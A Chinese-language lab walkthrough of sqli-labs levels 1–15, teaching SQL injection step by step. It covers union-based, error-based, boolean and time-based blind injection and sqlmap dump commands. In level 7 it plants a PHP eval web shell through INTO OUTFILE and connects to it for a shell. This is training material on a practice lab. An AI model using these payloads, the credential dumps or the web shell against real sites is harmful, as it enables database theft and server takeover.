#本教程除了讲解sql注入还夹杂了一些私货,是我自己对于渗透以及编程的一些感悟,不一定对,可供参考,不喜勿喷#
sqli-labs 1-6
第一题
#手注#
1 观察题目,界面如下图:
2 根据题中提示,please input the ID,在后面加上?id=1,得到对应结果。
3 尝试添加符号’,得到对应报错结果。
4 因为添加了’就会报错,证明sql语句闭合出现了问题,由于此处是键入id,然后返回用户的login name以及password,此处猜测后台语句为select username,password from users where id = ‘1’,当然,这个猜测需要一定的sql语句基础,这是一个sql的查询语句,那么根据猜测,此处由于有两个回显点,分别是your login name与password,那么可以选用union select来进行注入,此处确定了注入语句。
*此处建议学习sql注入不要一上手就学,而是先去整体的把sql语句过一遍,有个大概印象,脑子里对于知识有一个框架,然后靠着这个大概印象来进行实战,在实战中深化对于语句的理解,遇到不理解的,又回去看sql语句的书,就这样不断循环,反复深化,反复训练,最终提升自己的技巧,形成一个学习闭环。
5 用union select做的第一步判断,就是判断这个表有几个列,此处使用order by语句来进行判断,为什么order by 语句可以来做这个判断,下面插一个小实验来帮助理解。
下面这个表可以看到有5列
order by语句的作用是对某一列语句进行排序,例如:
select * from users order by 5;
上面的order by 5 就是对第五列进行排序,可以看到回显是正常的。
那么ok,再看下一个例子:
这里by 6就返回不正常,为啥呢,因为这个表只有5列,by 6是对第6列进行排序,能正常才怪。
那么回到题目,这里我试一下,构造语句:
?id=1’ order by 3–+
返回正常
返回错误
这里的–+是为了屏蔽后面的’达到闭合语句的效果,–是mysql中的注释符,+是url编码中的空格。
这里order by 3正常,order by 4错误,说明这个表只有三列,因为给第四列排序的时候返回unknow column。
6 使用union select来正式注入,构造语句:
?id=-1’ union select 1,1,1–+
解释:
?id=1 查询正常 ?id=-1查询不正常 这里先记着
union select:联合查询,是在一个表下面接着查,例子:
上面有几列,我就接着上面查,相当于新增一行,然后列数与原表一样
–+:刚讲了 是注释,闭合后面的单引号。
ok,那么现在组合起来理解:
?id=-1’ union select 1,1,1–+
这里还要强调一点,联合查询有个特点,就是前面的语句如果出错,啥也没查到,就只执行后面的语句,这里在id这里写-1就单纯只为了union后面的语句执行。
7 查数据库信息以及版本信息
?id=-1’ union select 1,database(),version()–+
很容易理解,这里就是查当前数据库名和版本名。
8 查所有的数据库名
?id=-1’ union select 1,1,(select group_concat(schema_name) from information_schema.schemata)–+
解释:
group_concat() 把多个表明堆在一个格子里面返回
select schema_name from information_schema.schemata:从特定库里查表,为啥是这个库?
一目了然
9 查当前数据库的表名
?id=-1’ union select 1,1,(select group_concat(table_name) from information_schema.tables where table_schema = database())–+
同理 核心payload就是这段
select group_concat(table_name) from information_schema.tables where table_schema = database()
如果有疑问为什么要这样查,自己去看一下自己mysql的表就清楚了,这是一种学习方法。
10 查某张表的字段名
这里我看users这个字段很可疑,我肯定第一时间就是去查他:
-1’ union select 1,1,(select group_concat(column_name) from information_schema.columns where table_name = ‘users’)–+
11 查具体的字段值
这里我选两个字段来查,username,password,感觉比较关键:
?id=-1’ union select 1,(select group_concat(password) from users),(select group_concat(username) from users)–+
一目了然
本题手注得解。
#sqlmap#
1 直接上号:
2 打开sqlmap
3 输入payload,大喊一声奥里给!
sqlmap -u “192.168.0.62/sqli-labs-master/Less-1/?id=1”
得到结果
4 库名
sqlmap -u “192.168.0.62/sqli-labs-master/Less-1/?id=1” --dbs
5 表名
sqlmap -u “192.168.0.62/sqli-labs-master/Less-1/?id=1” -D ‘security’ --tables
6 列名
sqlmap -u “192.168.0.62/sqli-labs-master/Less-1/?id=1” -D ‘security’ -T users --columns
7 字段名
sqlmap -u “192.168.0.62/sqli-labs-master/Less-1/?id=1” -D ‘security’ -T users -C password --dump;
得解,直接一把梭,由此可见工具得重要性,在那里注半天注你🐎呢,实战中效率才是关键,当然效率的提升来自于基础的扎实,所以学习顺序建议先学习手动注入,再用工具提升效率,这样这样以后碰到比较难注的东西,一定得用手注的时候,之前打下的基础就会派上用场。
第二题
**#手注#**0
1 老规矩先看题,审题是关键
发现这个字怎么变成红色的了,心里先暗暗骂他两句。
2 找注入点,发现这个字还是please input the id,那证明注入点就还是在这个id上咯,就注一下:
?id=1 order by 4
被我搞出来了,和第一题比,不用加单引号,也不用加注释符
3 查库,版本
?id=-1 union select 1,database(),version()
4 查所有库
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),1–+
之后的过程又和第一题一模一样了,这里不浪费时间再继续写下去了。。。
#sqlmap#
输入的参数和第一题大同小异,不再赘述了,参考第一题的解法,直接把url换一下就行。
第三题
#手注#
1 老规矩,审题第一步,雀氏纸尿裤。
2 找注入点:
?id=1’ order by 4–+ // 单引号报错
?id=1 order by 4–+ //不输入符号不报错
?id=1" // 双引号不报错
这怎么搞?懵掉了?
这个手动来找注入点实在感觉有点捞,上面讲了,理解了原理,马上我们就要想办法提高效率,真正渗透实战的时候,留给人的时间是非常有限的,例如挖src,第一个提交漏洞的人才有奖励,后来的就没有,没有奖励那还搞个毛,因此这里用burp来爆注入点:
看到没有,马上就出结果了,‘和’)这两个参数明显有问题,那么ok,我们就来试一试,最后发现了payload:
?id=1’) order by 4–+
注入点找到了,接下来还是有回显的注入,那就还是用union select,又是和第一题一样的套路,这里不赘述了,反正找到注入点,就知道了怎么闭合,然后接下来的
查数据库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema = database()
查列:select column_name from information_schema.columns where column_name = ‘表名’
查值:select * from users;
后面的都是一样,所以要有这个抽象化思维,把知识归类,根据上面三题的实战,心里大概其实就有了个概念,sql注入分了大概哪几步,在我看来,就是
第一步:找到注入点 看从哪里下手 比如?id
第二步:看回显的位置,根据回显的情况选择合适的注入语句,比如这里用union select
第三步:把payload构造进你选择的注入语句,得到你想要的结果,例如union select 1,1,(payload),然后得到结果。
sql注入本质上就是这些东西,没有什么蹊跷,根据环境的不同,会使用不同的手法,但是万变不离其宗,大的框架和思路是不变的,剩下的就是对执行的过程做优化。
我们学过编程,知道编程中,类衍生对象,对象是类的实例。
这里也是一样,一个sql类,衍生出了很多示例对象,每个对象的方法和属性都不同,但是都属于sql类,有其共性。
抽象是一种很好的思维,有助于提炼共性,有了共性,然后再以点带面的去学,效率会得到很大的提升,这也是我前面讲的,一定要想法设法的提升效率。
奖励只给第一名, no time for loser babe.
#sqlmap#
还是和第一题同理,改url参数就行,这里不再赘述。
第四题
1 老规矩 审题
标题这里十分好心的告诉你了,就是DoubleQuotes String,但是实战中没有这么好的事情,还是按照常规步骤走。
2 探测注入点
发现确实是双引号")
3 观察回显,发现还是和之前的题目一样,有回显,于是这里依然用union select,进行注入
?id=1") order by 4–+
之后的步骤与之前一样,不再赘述。
#sqlmap#
同题一
第五题
1 老规矩,审题
他跟我讲是单引号注入,我姑且相信他。
2 找注入点
?id=1
?id=1’
发现和之前的不同,这里输入正确返回,you are in,输入错误返回一堆报错,根据回显结果来看,之前的union select在这里就不能用了
为什么不能用?要强行用也可以,但不是最佳方案
因为这里没有给你直接看回显的位置,只有个报错。
那有人就有疑问了,那报错不是回显嘛?不能利用嘛?
当然可以,报错是一个直接的回显点,能用一定要用。
回显点分为直接和间接两种,一旦存在直接的回显点,一定要用这个,不然就会把简单的问题复杂化。
这道题当然存在很多解法,但之前讲了,我们一切为了效率,除开一些apt的环境,有直接的点就直接打,不要在那多想。
ok,那这里注入我们就已经确定好方案了,使用报错注入来解这道题。
怎么报错?用什么来报错?往下看
3 根据回显来构造报错payload
?id=1’ and (extractvalue(‘anything’,concat(’~’,(select database())))) --+
爆出了库名
payload解释:
因为我对sql语句很了解,后台的sql我知道大概是这么写的:
select username,password from users where id = ‘你输入的值’
然后通过php把回显位置关掉了,所以你看不到回显,但是后台就是这么执行的。
那么把payload插进去就是这样子
select username,password from users where id = ‘1’ and (extractvalue(‘anything’,concat(’~’,(select database())))) --+’
是不是一目了然
执行where id = 1 and extractvalue(x,x)
extractvalue的意思就是从x中取值,具体可以上网查:
concat(’~’, (select database()) )的意思就是查数据库,也就是payload
那么最后执行,extractvalue执行错误,然后报错,然后报错的同时执行了其中的payload,就在报错的时候把payload回显给你,你的payload是什么,他就回显什么.
现在知道了原理,那么就可以开始下一步操作。
4 查现在正在用的库
?id=1’ and (extractvalue(‘anything’,concat(’~’,(select database())))) --+
5 查所有库
?id=1’ and (extractvalue(‘anything’,concat(’~’,(select group_concat(schema_name) from information_schema.schemata)))) --+
这里发现其实并没有显示完全,因为报错的字符是有限制的,那么这里可以采用limit来限制输出。
?id=1’ and (extractvalue(‘anything’,concat(’~’,(select schema_name from information_schema.schemata limit 0,1)))) --+
接下来就是体力活,一个个查一个个输出就行。
6 查表
?id=1’ and (extractvalue(‘anything’,concat(’~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))) --+
7 查字段
?id=1’ and (extractvalue(‘anything’,concat(’~’,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1)))) --+
8 查值
?id=1’ and (extractvalue(‘anything’,concat(’~’,(select username from users limit 1,1)))) --+
此题得解
#sqlmap#
1 键入payload,思路和题一没有差别,直接得到结果。
sqlmap -u “192.168.0.62/sqli-labs-master/Less-5/?id=1” -D ‘security’ -T users -C password --dump;
第六题
1 观察
?id=1’
单引号正常
?id=1"
双引号不正常,找到了注入点?id=1"
2 接下来的过程又和题五一样,一个个爆,不再赘述
#sqlmap#
和题五的payload一样,不再赘述。
1-6题小结
前六题,1-4都是都是换汤不换药,在变闭合的符号,无非就是’,",),’),")这几种
5-6两道题也是,但是回显不同了,是报错回显,这里就要使用报错注入,更换payload,提升工作效率。
不过最终效率的提升还是要靠工具来完成,实战中建议就直接使用sqlmap了,后续还会提到sqlmap的更多用法。
第七题
1 观察
这里提示outfile 可以联想到sql语句
select xxx into outfile ‘路径名’
这里输入1’报错
用的’闭合
2 注入判定
?id=-1’)) or length(database())=‘9’–+
?id=-1’)) or length(database())=‘8’–+
这是其中一种方法 我认为是一种通用的办法
解释:
?id=-1 这里之所以为-1,就是因为在实战过程中,有时候不知道正确的值是多少。
先判定为-1,然后后面使用or语句,当or语句后面的为正确的值之后,就可以判定注入成功。
or是一种方法,还有一种方法是and。
例如:
?id=1’)) and length(database())=8–+
一样的也成功了
这个因为是and语句,要注入成功,要建立在id=1为真以及and后面的语句也为真的基础上。
按照情况可以选择相应的语句来进行注入。
3 数据库名
本质的payload还是
select schema_name from information_schema.schemata
这里由于是布尔注入 ,也就是说,页面会告诉你注入错误或者正确,但是没有回显位,不能直接回显。
布尔注入与之前的注入不同,属于间接注入,接下来就开始写注入数据库的语句:
?id=1’)) and left(database(),1)=‘s’–+
这里注入成功了
解释:
left()是截取字符串的语句,用一个例子来说明:
从左往右截取第一个字符
结合这里
left(database(),1)=‘s’
意思就是截取数据库名,从左往右第一位的字符串,为s
可以看到页面的回显是正确的
这里表示注入成功
于是?id=1’)) and left(database(),1)=‘s’–+这个语句就非常好理解了
当然,结合之前讲的,这里用and,也可以用or,or的语句为
?id=-1’)) or left(database(),1)=‘s’–+
3 表名
核心payload
select table_name from information_schema.tables
exp
?id=-1’)) or left((select table_name from information_schema.tables where table_schema = database() limit 0,1),1)=‘e’–+
就出来了
接下来的步骤大同小异,无非就是更换核心payload,不再赘述
核心payload:
select schema_name from information_schema.schemata
select table_name from information_schema.tables where table_schema = database()
select column_name from informaion_schema.columns where table_name = ‘表名’
select * from users
核心的东西无非就是些,然后再通过截取的方法 使用left(),并且在核心payload里面加入limit 0,1来限制返回,一次只返回一个值,最后一步步爆出参数。
#sqlmap#
python sqlmap.py -u “http://localhost/sqli-labs-master/Less-7/?id=1” --dbs --batch
直接一把梭,不再赘述
。。。差点忘了这题其实是考 select … into outfile的题了
这里补充一下
select … into outfile就是把文件导入到某个目录下
这里有几个先决条件
1 mysql的配置文件设置要是这个
2 你要找到绝对路径 这又是另外一个知识点了,
这里可以用之前做过的题目来爆绝对路径
爆出来了
然后把马写进去
exp:
?id=-1’)) union select 1,’<?php @eval($_POST["cmd"])?>’,3 into outfile “C:\mystuff\phpstudy_pro\www\muma.php”–+
结果
蚁剑进行连接
成功getshell
第八题
1 观察
还是属于布尔型的
?id=1’ and sleep(3)–+
打过去有延时
说明注入成功,注入手法参照上一题 不再赘述,这里不要用时间注入,太费时间了。
#sqlmap#
参照上一题,不再赘述。
第九题
1 观察
?id=1’ and sleep(3)–+
无论你怎么注入,下面都只弹出同样的回显,这里没办法,只能用时间注入了
给出一条exp,后面的可以自己类推,根据前面写的核心payload
?id=-1’ or if(left(database(),1)=‘a’, sleep(1), 1) --+
这里讲一下这个exp的有趣的地方
我打过去,这里明明是sleep(1),结果睡了13s
为什么会有这种现象发生?
可以看看这个user表
在这里我查询的实际上这张user表,那么
可以看到 这个user表本身就是13行
我们这里是sleep(1),返回的结果是13s,正对这个行数,为啥呢?
?id=-1’ or if(left(database(),1)=‘a’, sleep(1), 1) --+
因为这后面的语句都是where之后的,是筛选语句。
or后面的东西为真,所以每遇到一行,就要查询一次,既然要查询一次,那么我们的延时语句就会再执行一次。
这就是原理。
所以这里手动注入为了避免时间过长,还是使用and来进行时间盲注
?id=1’ and if(left(database(),1)=‘s’, sleep(1), 1) --+
2 注入
注入的payload和前面大同小异,这里建议直接用sqlmap来跑。
#sqlmap#
用sqlmap跑了一遍,上面的exp居然也是布尔盲注,我有点疑惑,于是再回溯过来看
我这里用bur手动抓包看一下,发现确实可以布尔
?id=1%27%20and%20length(database())=8–+
这个为真
返回头是707
?id=1%27%20and%20length(database())=1–+
这个为假,返回头为744
因此这里可以用布尔注入进行攻击。
第十题
这题用的是双引号闭合
?id=1" and sleep(3)–+
和上一题一样,不赘述
#sqlmap#
一样
第十一题
1 观察
看起来像个post注入
试一试
1’ or 1='1
用万能密码被我试进去了
这里用的’闭合,那么ok,开始注入
2 注入
事实证明两个框都可以注入
uname=1’ or 1=1–+&passwd=1&submit=Submit
uname=1&passwd=1’ or 1=1–+&submit=Submit
随便找一个框进行注入
1’报错
根据上面判定,这里存在报错注入
那么ok,下面大概讲一下报错注入的种类
1 updatexml()
本来的用法是从mysql中提取xml文件用的
这里的用法为
updatexml(1,(payload),1)
2 extractvalue()
和上面的一样,也是从mysql中提取文件用的
extractvalue(1,(payload))
3 floor(rand(0)*2)
这个报错注入要好好讲一下,得一层层剖析原理
完整的exp其实是这样的
select count(*),floor(rand(0)*2)x from users group by x;
一个整体的东西如果看不懂,就分段来看
count(*) 计数用的
上面这句话代表users有多少行
floor()
地板除,取比当前数小的整数
rand(0) 随机数
rand(0) * 2 那就是乘以2咯
再套一层floor,那就是取小于其的整数
结合前面的count(*)和group by
举个例子,下面我想看id的分类情况,就这样写
意思就是
id为1 有2个
id为2 有1个
id为3 有1个
这就一目了然了
结合起来,就可以理解了
select count(*),floor(rand(0)*2)x from users group by x
这里就报错了
那么怎么利用呢?很简单,用concat把exp打进去就好了
select count(*),concat(’~’,(select database()),floor(rand(0)*2))x from users group by x;
现在原理明白了,那么回到题目
直接上exp来打
1’and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)–+
后续在里面注入就行,不再赘述
#sqlmap#
1 burp抓包
2 保存文件
3 把文件放到sqlmap里面去跑,设置参数
sqlmap -r “11.txt” -p “uname” --dbs --batch
得到结果
第十二题
1 观察
对页面进行测试,发现是"
之后的过程和11一样,不赘述
第十三题
1 观察
1’) or 1=('1
用这个发现登录成功
换个闭合符号就行 和前面的题目一样 不赘述
第十四题
1 观察
1" or “1”="1
其他步骤和之前一样,不赘述了
第十五题
1 观察
admin’ and sleep(3)#
经过我的一番探测,这个地方只能用盲注,很恐怖
我也不想做了,反正都是老套路,这里直接用sqlmap来跑
#sqlmap#
可以看到,这里使用的就是时间盲注,非常耗时。
这题就这样吧